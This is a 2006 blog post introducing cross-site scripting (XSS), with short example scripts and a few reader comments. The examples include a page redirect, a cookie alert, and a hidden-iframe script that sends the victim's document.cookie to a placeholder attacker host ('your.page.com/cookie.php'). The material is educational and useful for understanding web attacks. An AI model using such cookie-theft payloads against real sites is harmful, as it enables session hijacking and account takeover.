22 June 2006 | 14,335 views

Cross Site Scripting (XSS)

Check Your Web Security with Acunetix

Cross Site Scripting, or know as XSS, is the most common basic web hacking technique… and harmless, as many would say… but on this matter I don’t really agree, that’s why I wrote this article.

About
XSS as I knew it is a very abstract definition for JavaScript injection, or at least this is what I have thought until reading RSnake’s website [speak about it a bit later]…
In fact XSS is more than JavaScript injection, because we can modify a page entire structure through XSS, not only create some actions…
In a small definition: XSS=JavaScript+HTML

The Call Of Javascript
Even if XSS is more than just JavaScript, you will have to basically have some JavaScript knowledge before you can feel the real taste of cross site scripting. For the ones who don’t know JavaScript I recommend them http://www.javascript.com… After learning the basics of this wonderful scripting language, you will be ready to go…

Info: did I mention that Java script was developed by Netscape, and at the beginnings had the name LiteScript?

Posibilities
With XSS you can do “extreme” stuff.. let me explain you in a small amount of words what you can do…. the most simple thing is to redirect the current page to one you like… an illustrative example:

<script>
document.location=”http://what-page.you.want.com”;
</script>

Also you could do something like popping up the cookie:

<script>
alert(document.cookie);
</script>

And if you know a little php you could create a page that save’s data received via get and stores them in a file/database…

<script>
var theCookie = document.cookie;
document.write(‘<iframe width=\”1\” height=\”1\” style=\”visibiliy: hidden\” href=\”http://your.page.com/cookie.php?theCookie=’ +theCookie+ ‘\” ></iframe>’);
</script>

Also there are more possibilities with XSS, you just need some creativity…

More XSS
I have found a website where I have learned much about XSS… there is also a little script which encodes the normal text to ASCII, hex, decimal and Base64… also the different types of attacks are shown on which browsers there are available… check out Rsnake’s page on XSS: ha.ckers.org/xss.html

Also a great XSS database can be found at: securityfocus



Recent in General Hacking:
- Kali Linux – The Most Advanced Penetration Testing Linux Distribution
- Microsoft Says You SHOULD Re-use Passwords Across Sites
- Dradis v2.9 – Information Sharing For Security Assessments

Related Posts:
- XSSYA – Cross Site Scripting (XSS) Scanner Tool
- XSS-Proxy – Cross Site Scripting Attack Tool
- XSSer v1.0 – Cross Site Scripter Framework

Most Read in General Hacking:
- 10 Best Security Live CD Distros (Pen-Test, Forensics & Recovery) - 1,139,511 views
- Hack Tools/Exploits - 583,605 views
- Password Cracking with Rainbowcrack and Rainbow Tables - 415,420 views

Low-cost VPS Hosting

4 Responses to “Cross Site Scripting (XSS)”

  1. RSnake 22 June 2006 at 3:23 pm Permalink

    Very cool, backbone! This is a good introductory guide to what XSS is. The XSS Cheat Sheet is really not designed for the novice, so this is a good primer before looking at my page. Thanks for the link!

    RSnake

  2. Chris Jackson 22 June 2006 at 4:20 pm Permalink

    Also check out http://www.youfucktard.com/blog/. This is an excelent source for examples…

  3. Gouki 22 June 2006 at 4:40 pm Permalink

    Nice post (-;

  4. backbone 23 June 2006 at 12:32 pm Permalink

    thanks guys… this article was ment to be an introduction to XSS, and not anything else…